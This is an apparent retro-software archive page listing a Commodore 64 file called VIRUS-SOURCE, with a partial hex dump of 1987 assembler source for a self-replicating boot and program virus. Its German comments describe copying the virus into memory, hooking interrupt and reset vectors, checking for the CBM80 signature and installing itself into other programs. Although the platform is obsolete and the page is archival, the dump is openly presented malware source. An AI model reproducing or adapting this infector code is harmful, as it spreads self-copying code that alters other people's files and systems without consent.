_  __   _  _         _ _     _      _           _           
  __| |/ /_ | || |     __| (_)___| | __ (_)_ __   __| | _____  __
 / _` | '_ \| || |_   / _` | / __| |/ / | | '_ \ / _` |/ _ \ \/ /
| (_| | (_) |__   _| | (_| | \__ \   <  | | | | | (_| |  __/>  < 
 \__,_|\___/   |_|    \__,_|_|___/_|\_\ |_|_| |_|\__,_|\___/_/\_\
                                                                 
            

VIRUS-SOURCE

FILE INFORMATION

FILENAME(S): VIRUS-SOURCE

FILE TYPE(S): PRG

FILE SIZE: 18.8K

FIRST SEEN: 2025-10-20 14:29:52

APPEARS ON: 2 disk(s)

FILE HASH

43c34b9e61ced1175b6304d1b6431159e4fda709335422b9d5667247621d979b

FOUND ON DISKS (2 DISKS)

DISK TITLE FILENAME FILE TYPE COLLECTION TRACK SECTOR ACTIONS
PUBLIC DOMAIN VIRUS-SOURCE PRG Treasure Chest - Klaus Der Suhler 17 0 DOWNLOAD FILE
MASTERMMSOFT VIRUS-SOURCE PRG Treasure Chest - Klaus Der Suhler 17 0 DOWNLOAD FILE

FILE CONTENT & ANALYSIS

> DETECTED: COMMODORE BASIC PROGRAM (LOAD ADDRESS $0801)

00000000: 01 08 4E 08 00 00 8F 20  43 4F 50 59 52 49 47 48  |..N.... COPYRIGH|
00000010: 54 20 31 39 38 37 20 42  59 20 42 48 50 2B 50 41  |T 1987 BY BHP+PA|
00000020: 50 41 20 48 41 43 4B 45  52 20 20 20 20 20 20 20  |PA HACKER       |
00000030: 20 56 49 52 55 53 20 43  2D 36 34 20 20 20 4D 55  | VIRUS C-64   MU|
00000040: 4E 49 43 48 20 31 38 2E  32 2E 31 39 38 37 00 66  |NICH 18.2.1987.f|
00000050: 08 01 00 8B 41 B2 30 A7  41 B2 31 3A 93 22 56 49  |....A.0.A.1:."VI|
00000060: 52 55 53 22 2C 38 00 72  08 02 00 9E 39 AC 34 30  |RUS",8.r....9.40|
00000070: 39 36 00 7E 08 03 00 2E  4F 50 54 20 4F 31 00 93  |96.~....OPT O1..|
00000080: 08 04 00 53 54 41 52 54  20 20 20 20 B2 20 24 44  |...START    . $D|
00000090: 30 30 30 00 A8 08 05 00  AC B2 20 20 20 20 20 20  |000.......      |
000000A0: 20 20 20 53 54 41 52 54  00 BA 08 0A 00 50 41 52  |   START.....PAR|
000000B0: 20 20 20 20 20 B2 20 24  42 37 00 CC 08 0B 00 4D  |     . $B7.....M|
000000C0: 45 4D 20 20 20 20 20 B2  20 24 35 38 00 E0 08 0C  |EM     . $58....|
000000D0: 00 53 45 54 50 41 52 20  20 B2 20 24 46 46 42 41  |.SETPAR  . $FFBA|
000000E0: 00 F4 08 0D 00 53 45 54  4E 41 4D 45 20 B2 20 24  |.....SETNAME . $|
000000F0: 46 46 42 44 00 05 09 0E  00 49 45 43 9F 20 B2 20  |FFBD.....IEC. . |
00000100: 24 46 33 44 35 00 17 09  0F 00 53 45 4B 20 20 20  |$F3D5.....SEK   |
00000110: 20 20 B2 20 24 42 39 00  29 09 10 00 44 45 56 20  |  . $B9.)...DEV |
00000120: 20 20 20 20 B2 20 24 42  41 00 3A 09 11 00 53 45  |    . $BA.:...SE|
00000130: 4B 9B 20 B2 20 24 46 46  39 33 00 4E 09 12 00 53  |K. . $FF93.N...S|
00000140: 45 4B 54 41 4C 4B 20 B2  20 24 46 46 39 36 00 5F  |EKTALK . $FF96._|
00000150: 09 13 00 9B 20 20 20 20  B2 20 24 46 46 42 31 00  |....    . $FFB1.|
00000160: 73 09 14 00 54 41 4C 4B  20 20 20 20 B2 20 24 46  |s...TALK    . $F|
00000170: 46 42 34 00 84 09 15 00  55 4E 9B 20 20 B2 20 24  |FB4.....UN.  . $|
00000180: 46 46 41 45 00 98 09 16  00 55 4E 54 41 4C 4B 20  |FFAE.....UNTALK |
00000190: 20 B2 20 24 46 46 41 42  00 AA 09 17 00 49 45 43  | . $FFAB.....IEC|
000001A0: A1 20 20 B2 20 24 46 46  41 35 00 BE 09 18 00 49  |.  . $FFA5.....I|
000001B0: 45 43 4F 55 54 20 20 B2  20 24 46 46 41 38 00 D0  |ECOUT  . $FFA8..|
000001C0: 09 19 00 53 54 41 54 55  53 20 20 B2 20 24 39 30  |...STATUS  . $90|
000001D0: 00 E2 09 1A 00 43 4F 55  4E 54 20 20 20 B2 20 4D  |.....COUNT   . M|
000001E0: 45 4D 00 F2 09 1B 00 A0  20 20 20 B2 20 24 46 36  |EM......   . $F6|
000001F0: 34 32 00 0A 0A 1C 00 42  41 4D 20 20 20 20 20 B2  |42.....BAM     .|
00000200: 20 43 4F 55 4E 54 20 AA  20 31 00 22 0A 1D 00 54  | COUNT . 1."...T|
00000210: 52 41 43 4B 20 20 20 B2  20 42 41 4D 20 20 20 AA  |RACK   . BAM   .|
00000220: 20 33 00 3A 0A 1E 00 56  54 52 41 43 4B 20 20 B2  | 3.:...VTRACK  .|
00000230: 20 54 52 41 43 4B 20 AA  20 31 00 50 0A 1F 00 B8  | TRACK . 1.P....|
00000240: 45 20 20 20 20 B2 20 56  54 52 41 03 4B AA 20 31  |E    . VTRA.K. 1|
00000250: 00 66 0A 20 00 50 55 46  46 45 52 20 20 B2 20 B8  |.f. .PUFFER  . .|
00000260: 45 20 20 AA 20 31 00 7E  0A 21 00 4A 4F 42 20 20  |E  . 1.~.!.JOB  |
00000270: 20 20 20 B2 20 50 55 46  46 45 52 AA 20 31 00 96  |   . PUFFER. 1..|
00000280: 0A 22 00 44 4F 20 20 20  20 20 20 B2 20 4A 4F 42  |.".DO      . JOB|
00000290: 20 20 20 AA 20 31 00 A8  0A 23 00 58 20 20 20 20  |   . 1...#.X    |
000002A0: 20 20 20 B2 20 42 41 4D  00 C0 0A 24 00 59 20 20  |   . BAM...$.Y  |
000002B0: 20 20 20 20 20 B2 20 42  41 4D 20 20 20 AA 20 31  |     . BAM   . 1|
000002C0: 00 D8 0A 25 00 5A 20 20  20 20 20 20 20 B2 20 42  |...%.Z       . B|
000002D0: 41 4D 20 20 20 AA 20 32  00 E9 0A 26 00 42 41 53  |AM   . 2...&.BAS|
000002E0: 49 43 53 20 20 B2 20 34  33 00 01 0B 27 00 41 44  |ICS  . 43...'.AD|
000002F0: 52 20 20 20 20 20 B2 20  44 4F 20 20 20 20 AA 20  |R     . DO    . |
00000300: 31 00 18 0B 28 00 53 45  43 A4 52 20 20 B2 20 41  |1...(.SEC.R  . A|
00000310: 44 52 20 20 20 AA 20 31  00 2F 0B 29 00 56 53 45  |DR   . 1./.).VSE|
00000320: 43 20 20 20 20 B2 20 53  45 43 A4 52 AA 20 31 00  |C    . SEC.R. 1.|
00000330: 3F 0B 2A 00 42 4C 4F 43  4B 53 20 20 B2 20 38 00  |?.*.BLOCKS  . 8.|
00000340: 50 0B 2B 00 57 B0 4B 20  20 20 20 B2 20 24 38 42  |P.+.W.K    . $8B|
00000350: 00 62 0B 2C 00 4D 45 4D  31 20 20 20 20 B2 20 57  |.b.,.MEM1    . W|
00000360: B0 4B 00 79 0B 2D 00 4D  45 4D 32 20 20 20 20 B2  |.K.y.-.MEM2    .|
00000370: 20 57 B0 4B 20 20 AA 20  31 00 90 0B 2E 00 4D 45  | W.K  . 1.....ME|
00000380: 4D 33 20 20 20 20 B2 20  57 B0 4B 20 20 AA 20 32  |M3    . W.K  . 2|
00000390: 00 A7 0B 2F 00 4D 45 4D  34 20 20 20 20 B2 20 57  |.../.MEM4    . W|
000003A0: B0 4B 20 20 AA 20 33 00  BB 0B 30 00 42 52 45 41  |.K  . 3...0.BREA|
000003B0: 4B 50 20 20 B2 20 24 30  33 31 36 00 CC 0B 31 00  |KP  . $0316...1.|
000003C0: 42 41 53 49 43 45 20 20  B2 20 34 35 00 DB 0B 32  |BASICE  . 45...2|
000003D0: 00 93 45 20 20 20 B2 20  24 41 45 00 EA 0B 33 00  |..E   . $AE...3.|
000003E0: 4C 49 4E 4B C3 20 B2 20  38 38 00 FB 0B 34 00 93  |LINK. . 88...4..|
000003F0: 50 20 20 20 B2 20 24 30  33 33 30 00 0C 0C 35 00  |P   . $0330...5.|
00000400: 94 50 20 20 20 B2 20 24  30 33 33 32 00 20 0C 36  |.P   . $0332. .6|
00000410: 00 4C 49 4E 4B 20 20 20  20 B2 20 24 30 32 41 37  |.LINK    . $02A7|
00000420: 00 34 0C 37 00 4E 4D 49  54 41 48 20 20 B2 20 24  |.4.7.NMITAH  . $|
00000430: 44 44 30 35 00 48 0C 38  00 4E 4D 49 54 02 48 20  |DD05.H.8.NMIT.H |
00000440: 20 B2 20 24 44 44 30 37  00 5C 0C 39 00 4E 4D 49  | . $DD07.\.9.NMI|
00000450: 50 20 20 20 20 B2 20 24  30 33 31 38 00 70 0C 3A  |P    . $0318.p.:|
00000460: 00 52 4F 4D 54 45 53 54  20 B2 20 24 46 44 30 32  |.ROMTEST . $FD02|
00000470: 00 84 0C 3B 00 57 41 52  4D 50 20 20 20 B2 20 24  |...;.WARMP   . $|
00000480: 30 33 30 32 00 98 0C 3C  00 49 52 51 50 20 20 20  |0302...<.IRQP   |
00000490: 20 B2 20 24 30 33 31 34  00 AC 0C 3D 00 49 52 51  | . $0314...=.IRQ|
000004A0: 45 20 20 20 20 B2 20 24  45 41 33 31 00 C0 0C 3E  |E    . $EA31...>|
000004B0: 00 4E 4D 49 45 20 20 20  20 B2 20 24 45 41 38 36  |.NMIE    . $EA86|
000004C0: 00 D1 0C 3F 00 90 20 20  20 20 B2 20 24 46 46 45  |...?..    . $FFE|
000004D0: 31 00 E5 0C 40 00 43 48  41 52 4F 55 54 20 B2 20  |1...@.CHAROUT . |
000004E0: 24 46 46 44 32 00 03 0D  E8 03 2E 42 59 54 45 20  |$FFD2......BYTE |
000004F0: 30 33 31 2C 30 30 38 2C  31 39 34 2C 30 30 37 2C  |031,008,194,007,|
00000500: 31 35 38 00 27 0D F2 03  56 49 52 55 53 20 2E 42  |158.'...VIRUS .B|
00000510: 59 54 45 20 31 39 34 2C  30 34 30 2C 30 35 32 2C  |YTE 194,040,052,|
00000520: 30 35 31 2C 30 34 31 00  45 0D FC 03 2E 42 59 54  |051,041.E....BYT|
00000530: 45 20 31 37 30 2C 31 39  34 2C 30 34 30 2C 30 35  |E 170,194,040,05|
00000540: 32 2C 30 35 32 00 63 0D  06 04 2E 42 59 54 45 20  |2,052.c....BYTE |
00000550: 30 34 31 2C 31 37 32 2C  30 35 30 2C 30 35 33 2C  |041,172,050,053,|
00000560: 30 35 34 00 81 0D 10 04  2E 42 59 54 45 20 31 37  |054......BYTE 17|
00000570: 30 2C 30 35 32 2C 30 35  36 2C 30 35 38 2C 30 38  |0,052,056,058,08|
00000580: 36 00 9F 0D 1A 04 2E 42  59 54 45 20 30 37 33 2C  |6......BYTE 073,|
00000590: 30 38 32 2C 30 38 35 2C  30 38 33 2C 30 30 30 00  |082,085,083,000.|
000005A0: B1 0D 24 04 2E 42 59 54  45 20 30 30 30 2C 30 30  |..$..BYTE 000,00|
000005B0: 30 00 C5 0D 29 04 2E 57  B0 44 20 42 4C 4F 43 4B  |0...)..W.D BLOCK|
000005C0: 53 AC 32 35 34 00 EF 0D  2A 04 2E 42 59 54 45 20  |S.254...*..BYTE |
000005D0: 24 41 37 2C 24 41 44 2C  24 41 36 2C 24 35 44 2C  |$A7,$AD,$A6,$5D,|
000005E0: 24 41 35 2C 24 33 32 2C  24 41 36 2C 24 38 44 00  |$A5,$32,$A6,$8D.|
000005F0: FB 0D 2B 04 AC B2 AC 20  AA 20 36 00 1A 0E 2E 04  |..+.... . 6.....|
00000600: 3B 31 39 38 36 20 9E C2  28 34 33 29 AA C2 28 34  |;1986 ..(43)..(4|
00000610: 34 29 AC 32 35 36 AA 34  38 3A 00 25 0E 38 04 3B  |4).256.48:.%.8.;|
00000620: 56 49 52 55 53 00 49 0E  CF 07 3B AB AB AB 49 4E  |VIRUS.I...;...IN|
00000630: 49 54 49 41 4C 49 53 49  45 52 45 AB 56 49 52 55  |ITIALISIERE.VIRU|
00000640: 53 AB AB AB B1 49 4E 49  54 00 55 0E D0 07 4C 44  |S....INIT.U...LD|
00000650: 59 20 23 33 34 00 6E 0E  DA 07 49 4E 49 54 33 20  |Y #34.n...INIT3 |
00000660: 4C 44 41 20 28 42 41 53  49 43 53 29 2C 59 00 76  |LDA (BASICS),Y.v|
00000670: 0E E4 07 50 48 41 00 7E  0E EE 07 49 4E 59 00 8A  |...PHA.~...INY..|
00000680: 0E F8 07 43 50 59 20 23  34 32 00 98 0E 02 08 42  |...CPY #42.....B|
00000690: 4E 45 20 49 4E 49 54 33  00 B2 0E 70 08 50 48 50  |NE INIT3...p.PHP|
000006A0: 20 20 20 20 20 20 20 20  20 20 3B 53 54 41 54 55  |          ;STATU|
000006B0: 53 2C 00 D6 0E 7A 08 53  45 49 20 20 20 20 20 20  |S,...z.SEI      |
000006C0: 20 20 20 20 3B B5 45 52  52 55 50 54 20 53 50 45  |    ;.ERRUPT SPE|
000006D0: 52 52 45 4E 20 21 00 EE  0E 84 08 50 48 41 20 20  |RREN !.....PHA  |
000006E0: 20 20 20 20 20 20 20 20  3B 41 4B 4B 55 2C 00 13  |        ;AKKU,..|
000006F0: 0F 8E 08 4C 44 41 20 31  20 20 20 20 20 20 20 20  |...LDA 1        |
00000700: 3B 55 4E 44 20 53 50 45  49 43 48 45 52 4B 91 46  |;UND SPEICHERK.F|
00000710: 49 47 2E 00 2C 0F 98 08  50 48 41 20 20 20 20 20  |IG..,...PHA     |
00000720: 20 20 20 20 20 3B 52 45  54 54 45 4E 00 3C 0F A2  |     ;RETTEN.<..|
00000730: 08 4C 44 41 20 23 B1 80  49 54 AB 31 00 61 0F AC  |.LDA #..IT.1.a..|
00000740: 08 50 48 41 20 20 20 20  20 20 20 20 20 20 3B 52  |.PHA          ;R|
00000750: 55 45 43 4B 4B 45 48 52  50 55 4E 4B 54 20 56 4F  |UECKKEHRPUNKT VO|
00000760: 4D 00 7B 0F B6 08 4C 44  41 20 23 B3 80 49 54 AB  |M.{...LDA #..IT.|
00000770: 31 3B 56 49 52 55 53 9E  54 45 4D 00 83 0F C0 08  |1;VIRUS.TEM.....|
00000780: 50 48 41 00 8E 0F CA 08  4C 44 41 20 23 30 00 B3  |PHA.....LDA #0..|
00000790: 0F D4 08 53 54 41 20 31  20 20 20 20 20 20 20 20  |...STA 1        |
000007A0: 3B 41 55 46 20 52 41 4D  20 55 4D 53 43 48 41 4C  |;AUF RAM UMSCHAL|
000007B0: 54 45 4E 00 C0 0F DE 08  4C 44 59 20 23 24 30 33  |TEN.....LDY #$03|
000007C0: 00 D4 0F E8 08 49 4E 49  54 31 20 4C 44 41 20 57  |.....INIT1 LDA W|
000007D0: B0 4B 2C 59 00 DC 0F F2  08 50 48 41 00 E4 0F FC  |.K,Y.....PHA....|
000007E0: 08 44 45 59 00 F2 0F 06  09 42 50 4C 20 49 4E 49  |.DEY.....BPL INI|
000007F0: 54 31 00 16 10 10 09 4C  44 41 20 42 41 53 49 43  |T1.....LDA BASIC|
00000800: 53 20 20 20 3B 4B 4F 50  49 45 52 45 20 44 45 4E  |S   ;KOPIERE DEN|
00000810: 20 56 49 52 55 53 00 3A  10 1A 09 53 54 41 20 4D  | VIRUS.:...STA M|
00000820: 45 4D 31 20 20 20 20 20  3B 55 4E 54 45 52 20 49  |EM1     ;UNTER I|
00000830: AD 4F 20 42 45 52 45 49  43 48 00 4B 10 24 09 4C  |.O BEREICH.K.$.L|
00000840: 44 41 20 42 41 53 49 43  53 AA 31 00 58 10 2E 09  |DA BASICS.1.X...|
00000850: 53 54 41 20 4D 45 4D 32  00 68 10 38 09 4C 44 41  |STA MEM2.h.8.LDA|
00000860: 20 23 B3 53 54 41 52 54  00 75 10 42 09 53 54 41  | #.START.u.B.STA|
00000870: 20 4D 45 4D 33 00 85 10  4C 09 4C 44 41 20 23 B1  | MEM3...L.LDA #.|
00000880: 53 54 41 52 54 00 92 10  56 09 53 54 41 20 4D 45  |START...V.STA ME|
00000890: 4D 34 00 A2 10 60 09 4C  44 58 20 23 42 4C 4F 43  |M4...`.LDX #BLOC|
000008A0: 4B 53 00 AD 10 6A 09 4C  44 59 20 23 30 00 C4 10  |KS...j.LDY #0...|
000008B0: 74 09 49 4E 49 54 32 20  4C 44 41 20 28 4D 45 4D  |t.INIT2 LDA (MEM|
000008C0: 31 29 2C 59 00 D5 10 7E  09 53 54 41 20 28 4D 45  |1),Y...~.STA (ME|
000008D0: 4D 33 29 2C 59 00 DD 10  88 09 49 4E 59 00 EB 10  |M3),Y.....INY...|
000008E0: 92 09 42 4E 45 20 49 4E  49 54 32 00 F8 10 9C 09  |..BNE INIT2.....|
000008F0: 49 4E 43 20 4D 45 4D 32  00 05 11 A6 09 49 4E 43  |INC MEM2.....INC|
00000900: 20 4D 45 4D 34 00 0D 11  B0 09 44 45 58 00 1B 11  | MEM4.....DEX...|
00000910: BA 09 42 4E 45 20 49 4E  49 54 32 00 25 11 C4 09  |..BNE INIT2.%...|
00000920: 4A 4D 50 20 A2 00 49 11  B8 0B 3B AB AB AB AB 56  |JMP ..I...;....V|
00000930: 45 52 53 43 48 49 45 42  45 20 50 52 4F 47 52 41  |ERSCHIEBE PROGRA|
00000940: 4D 4D AB AB B1 4D 4F 56  45 00 6C 11 C2 0B 4D 4F  |MM...MOVE.l...MO|
00000950: 56 45 20 53 45 43 20 20  20 20 20 3B 53 45 54 5A  |VE SEC     ;SETZ|
00000960: 45 20 50 52 4F 47 52 41  4D 4D 80 45 00 81 11 CC  |E PROGRAMM.E....|
00000970: 0B 4C 44 41 20 93 45 20  20 20 20 3B 50 4F B5 45  |.LDA .E    ;PO.E|
00000980: 52 00 8D 11 D1 0B 4C 44  59 20 23 33 32 00 A0 11  |R.....LDY #32...|
00000990: D6 0B 53 42 43 20 28 42  41 53 49 43 53 29 2C 59  |..SBC (BASICS),Y|
000009A0: 00 AF 11 E0 0B 53 54 41  20 42 41 53 49 43 45 00  |.....STA BASICE.|
000009B0: BA 11 EA 0B 53 54 41 20  93 45 00 C8 11 F4 0B 4C  |....STA .E.....L|
000009C0: 44 41 20 93 45 20 AA 31  00 D0 11 F9 0B 49 4E 59  |DA .E .1.....INY|
000009D0: 00 E3 11 FE 0B 53 42 43  20 28 42 41 53 49 43 53  |.....SBC (BASICS|
000009E0: 29 2C 59 00 F4 11 08 0C  53 54 41 20 42 41 53 49  |),Y.....STA BASI|
000009F0: 43 45 AA 31 00 02 12 12  0C 53 54 41 20 93 45 20  |CE.1.....STA .E |
00000A00: AA 31 00 0D 12 1C 0C 4C  44 41 20 23 30 00 30 12  |.1.....LDA #0.0.|
00000A10: 26 0C 53 54 41 20 4D 45  4D 31 20 20 20 20 20 3B  |&.STA MEM1     ;|
00000A20: 56 45 52 53 43 48 49 45  42 45 20 50 4F B5 45 52  |VERSCHIEBE PO.ER|
00000A30: 00 4C 12 30 0C 4C 44 41  20 42 41 53 49 43 53 AA  |.L.0.LDA BASICS.|
00000A40: 31 20 3B 42 45 52 45 43  48 4E 45 4E 00 59 12 3A  |1 ;BERECHNEN.Y.:|
00000A50: 0C 53 54 41 20 4D 45 4D  32 00 61 12 44 0C 43 4C  |.STA MEM2.a.D.CL|
00000A60: 43 00 69 12 49 0C 44 45  59 00 7C 12 4E 0C 4C 44  |C.i.I.DEY.|.N.LD|
00000A70: 41 20 28 42 41 53 49 43  53 29 2C 59 00 8B 12 58  |A (BASICS),Y...X|
00000A80: 0C 41 44 43 20 42 41 53  49 43 53 00 98 12 62 0C  |.ADC BASICS...b.|
00000A90: 53 54 41 20 4D 45 4D 33  00 A0 12 67 0C 49 4E 59  |STA MEM3...g.INY|
00000AA0: 00 B3 12 6C 0C 4C 44 41  20 28 42 41 53 49 43 53  |...l.LDA (BASICS|
00000AB0: 29 2C 59 00 C4 12 76 0C  41 44 03 20 42 41 53 49  |),Y...v.AD. BASI|
00000AC0: 43 53 AA 31 00 D1 12 80  0C 53 54 41 20 4D 45 4D  |CS.1.....STA MEM|
00000AD0: 34 00 D9 12 8A 0C 53 45  43 00 E6 12 94 0C 4C 44  |4.....SEC.....LD|
00000AE0: 41 20 4D 45 4D 33 00 F5  12 9E 0C 53 42 43 20 42  |A MEM3.....SBC B|
00000AF0: 41 53 49 43 53 00 02 13  A8 0C 53 54 41 20 4D 45  |ASICS.....STA ME|
00000B00: 4D 33 00 0F 13 B2 0C 4C  44 41 20 4D 45 4D 34 00  |M3.....LDA MEM4.|
00000B10: 1A 13 BC 0C 53 42 43 20  23 30 00 27 13 C6 0C 53  |....SBC #0.'...S|
00000B20: 54 41 20 4D 45 4D 34 00  36 13 D0 0C 4C 44 59 20  |TA MEM4.6...LDY |
00000B30: 42 41 53 49 43 53 00 4B  13 DA 0C 4D 4F 56 45 31  |BASICS.K...MOVE1|
00000B40: 20 43 50 59 20 42 41 53  49 43 45 00 59 13 E4 0C  | CPY BASICE.Y...|
00000B50: 42 4E 45 20 4D 4F 56 45  32 00 66 13 EE 0C 4C 44  |BNE MOVE2.f...LD|
00000B60: 41 20 4D 45 4D 32 00 77  13 F8 0C 43 4D 50 20 42  |A MEM2.w...CMP B|
00000B70: 41 53 49 43 45 AA 31 00  85 13 02 0D 42 45 51 20  |ASICE.1.....BEQ |
00000B80: 4D 4F 56 45 33 00 9C 13  0C 0D 4D 4F 56 45 32 20  |MOVE3.....MOVE2 |
00000B90: 4C 44 41 20 28 4D 45 4D  33 29 2C 59 00 AD 13 16  |LDA (MEM3),Y....|
00000BA0: 0D 53 54 41 20 28 4D 45  4D 31 29 2C 59 00 B5 13  |.STA (MEM1),Y...|
00000BB0: 20 0D 49 4E 59 00 DB 13  2A 0D 42 4E 45 20 4D 4F  | .INY...*.BNE MO|
00000BC0: 56 45 31 20 20 20 20 3B  50 52 4F 47 52 41 4D 4D  |VE1    ;PROGRAMM|
00000BD0: 20 41 4E 20 B0 47 49 4E  41 4C AB 00 01 14 34 0D  | AN .GINAL....4.|
00000BE0: 49 4E 43 20 4D 45 4D 32  20 20 20 20 20 3B 41 44  |INC MEM2     ;AD|
00000BF0: 52 45 53 53 45 20 56 45  52 53 43 48 09 45 42 45  |RESSE VERSCH.EBE|
00000C00: 4E 00 0E 14 3E 0D 49 4E  43 20 4D 45 4D 34 00 1C  |N...>.INC MEM4..|
00000C10: 14 48 0D 42 4E 45 20 4D  4F 56 45 31 00 2F 14 52  |.H.BNE MOVE1./.R|
00000C20: 0D 4D 4F 56 45 33 20 4C  44 41 20 93 45 AA 31 00  |.MOVE3 LDA .E.1.|
00000C30: 53 14 5C 0D 43 4D 50 20  23 24 38 30 20 20 20 20  |S.\.CMP #$80    |
00000C40: 20 3B 55 45 42 45 52 50  52 55 45 46 45 20 4C 41  | ;UEBERPRUEFE LA|
00000C50: 44 45 AB 00 6E 14 66 0D  42 43 53 20 4D 4F 56 45  |DE..n.f.BCS MOVE|
00000C60: 34 20 20 20 20 3B 80 41  44 52 45 53 53 45 00 79  |4    ;.ADRESSE.y|
00000C70: 14 70 0D 4C 44 58 20 23  39 00 8E 14 7A 0D 52 4F  |.p.LDX #9...z.RO|
00000C80: 4D 20 4C 44 41 20 52 45  53 45 54 56 2C 58 00 9E  |M LDA RESETV,X..|
00000C90: 14 84 0D 53 54 41 20 24  38 30 30 30 2C 58 00 A6  |...STA $8000,X..|
00000CA0: 14 8E 0D 44 45 58 00 B2  14 98 0D 42 50 4C 20 52  |...DEX.....BPL R|
00000CB0: 4F 4D 00 C0 14 A2 0D 4D  4F 56 45 34 20 52 54 53  |OM.....MOVE4 RTS|
00000CC0: 00 E1 14 A0 0F 3B AB AB  AB AB 4E 45 55 53 54 41  |.....;....NEUSTA|
00000CD0: 52 54 20 56 49 52 55 53  AB AB AB AB AB AB AB B1  |RT VIRUS........|
00000CE0: A2 00 F1 14 AA 0F A2 20  4C 44 41 20 24 46 46 46  |....... LDA $FFF|
00000CF0: 41 00 13 15 B4 0F 50 48  41 20 20 20 20 20 20 20  |A.....PHA       |
00000D00: 20 20 3B 4E 4D 49 AB 56  45 4B A4 52 20 52 45 54  |  ;NMI.VEK.R RET|
00000D10: 54 45 4E 00 25 15 BE 0F  4C 44 41 20 24 46 46 46  |TEN.%...LDA $FFF|
00000D20: 42 20 20 20 3B 00 37 15  C8 0F 50 48 41 20 20 20  |B   ;.7...PHA   |
00000D30: 20 20 20 20 20 20 3B 00  56 15 D2 0F 4C 44 41 20  |      ;.V...LDA |
00000D40: 23 B3 8E 3B 55 4E 44 20  41 55 46 20 52 54 49 20  |#..;UND AUF RTI |
00000D50: 53 45 54 5A 45 4E 00 68  15 DC 0F 53 54 41 20 24  |SETZEN.h...STA $|
00000D60: 46 46 46 41 20 20 20 3B  00 74 15 E6 0F 4C 44 41  |FFFA   ;.t...LDA|
00000D70: 20 23 B1 8E 00 82 15 F0  0F 53 54 41 20 24 46 46  | #.......STA $FF|
00000D80: 46 42 00 A8 15 FA 0F 4A  53 52 20 4D 4F 56 45 20  |FB.....JSR MOVE |
00000D90: 20 20 20 3B 50 52 4F 47  52 41 4D 4D 20 56 45 52  |   ;PROGRAMM VER|
00000DA0: 53 43 48 49 45 42 45 4E  00 B3 15 FB 0F 4C 44 41  |SCHIEBEN.....LDA|
00000DB0: 20 23 30 00 BB 15 FC 0F  54 41 59 00 C3 15 FD 0F  | #0.....TAY.....|
00000DC0: 43 4C 43 00 D6 15 FE 0F  4E 31 20 41 44 43 20 56  |CLC.....N1 ADC V|
00000DD0: 49 52 55 53 2C 59 00 DE  15 FF 0F 52 4F 4C 00 E9  |IRUS,Y.....ROL..|
00000DE0: 15 00 10 41 44 43 20 23  30 00 F1 15 01 10 49 4E  |...ADC #0.....IN|
00000DF0: 59 00 FD 15 02 10 43 50  59 20 23 32 37 00 08 16  |Y.....CPY #27...|
00000E00: 03 10 42 4E 45 20 4E 31  00 15 16 04 10 03 4D 50  |..BNE N1......MP|
00000E10: 20 23 31 38 36 00 20 16  05 10 42 45 51 20 4E 32  | #186. ...BEQ N2|
00000E20: 00 2B 16 07 10 4E 33 20  49 4E 59 00 3E 16 08 10  |.+...N3 INY.>...|
00000E30: 53 54 41 20 28 42 41 53  49 43 53 29 2C 59 00 49  |STA (BASICS),Y.I|
00000E40: 16 09 10 42 4E 45 20 4E  33 00 70 16 0D 10 4E 32  |...BNE N3.p...N2|
00000E50: 20 4A 53 52 20 49 4E 53  54 41 4C 4C 20 3B 56 49  | JSR INSTALL ;VI|
00000E60: 52 55 53 20 49 4E 53 54  41 4C 4C 49 45 52 45 4E  |RUS INSTALLIEREN|
00000E70: 00 8F 16 0E 10 4A 4D 50  20 9E 9A 20 3B 52 55 45  |.....JMP .. ;RUE|
00000E80: 43 4B 4B 45 48 52 20 49  4E 53 20 9E 54 45 4D 00  |CKKEHR INS .TEM.|
00000E90: B0 16 68 10 3B AB AB AB  AB AB 49 4E 53 54 41 4C  |..h.;.....INSTAL|
00000EA0: 4C AB AB AB AB AB AB AB  AB AB AB AB AB AB B1 49  |L..............I|
00000EB0: 00 C5 16 72 10 49 4E 53  54 41 4C 4C 20 4C 44 41  |...r.INSTALL LDA|
00000EC0: 20 4E 41 0D 45 00 D2 16  7C 10 43 4D 50 20 23 22  | NA.E...|.CMP #"|
00000ED0: 2A 22 00 DD 16 86 10 42  45 51 20 49 30 00 E8 16  |*".....BEQ I0...|
00000EE0: 87 10 42 4E 45 20 49 31  00 FD 16 8C 10 52 45 49  |..BNE I1.....REI|
00000EF0: 4E 53 54 20 4A 53 52 20  50 4F B5 45 52 00 1D 17  |NST JSR PO.ER...|
00000F00: 90 10 49 30 20 4A 53 52  20 8C 3B 5A 45 49 47 45  |..I0 JSR .;ZEIGE|
00000F10: 52 20 52 55 45 43 4B 53  45 54 5A 45 4E 00 43 17  |R RUECKSETZEN.C.|
00000F20: 9A 10 49 31 20 4A 53 52  20 52 45 4C 49 4E 4B 20  |..I1 JSR RELINK |
00000F30: 3B 4C 49 4E 4B AB 54 45  49 4C 20 4B 4F 50 49 45  |;LINK.TEIL KOPIE|
00000F40: 52 45 4E 00 61 17 A4 10  4A 53 52 20 50 4F B5 45  |REN.a...JSR PO.E|
00000F50: 52 20 20 20 3B 50 4F B5  45 52 20 53 45 54 5A 45  |R   ;PO.ER SETZE|
00000F60: 4E 00 88 17 AE 10 4A 53  52 20 4D 41 4B 45 20 20  |N.....JSR MAKE  |
00000F70: 20 20 20 20 3B AB B1 45  58 54 45 52 4E 20 41 55  |    ;..EXTERN AU|
00000F80: 53 46 55 45 48 52 45 4E  00 AC 17 B8 10 4A 53 52  |SFUEHREN.....JSR|
00000F90: 20 52 4F 4D 54 45 53 54  20 20 20 3B 54 45 53 54  | ROMTEST   ;TEST|
00000FA0: 20 41 55 46 20 43 42 4D  38 30 20 AE 00 B7 17 C2  | AUF CBM80 .....|
00000FB0: 10 42 4E 45 20 49 32 00  C2 17 CC 10 4C 44 58 20  |.BNE I2.....LDX |
00000FC0: 23 33 00 E4 17 D6 10 4A  53 52 20 52 4F 4D 20 20  |#3.....JSR ROM  |
00000FD0: 20 20 20 20 20 3B 56 45  4B A4 52 45 4E 20 53 45  |     ;VEK.REN SE|
00000FE0: 54 5A 45 4E 00 EF 17 E0  10 49 32 20 52 54 53 00  |TZEN.....I2 RTS.|
00000FF0: 10 18 30 11 3B AB AB AB  AB AB 4C 49 4E 4B AB 54  |..0.;.....LINK.T|
00001000: 45 49 4C AB 4B 4F 50 49  45 52 45 4E AB AB B1 52  |EIL.KOPIEREN...R|
00001010: 00 26 18 3A 11 52 45 4C  49 4E 4B 20 4C 44 58 20  |.&.:.RELINK LDX |
00001020: 23 4C 49 4E 4B C3 00 3A  18 44 11 52 31 20 4C 44  |#LINK..:.D.R1 LD|
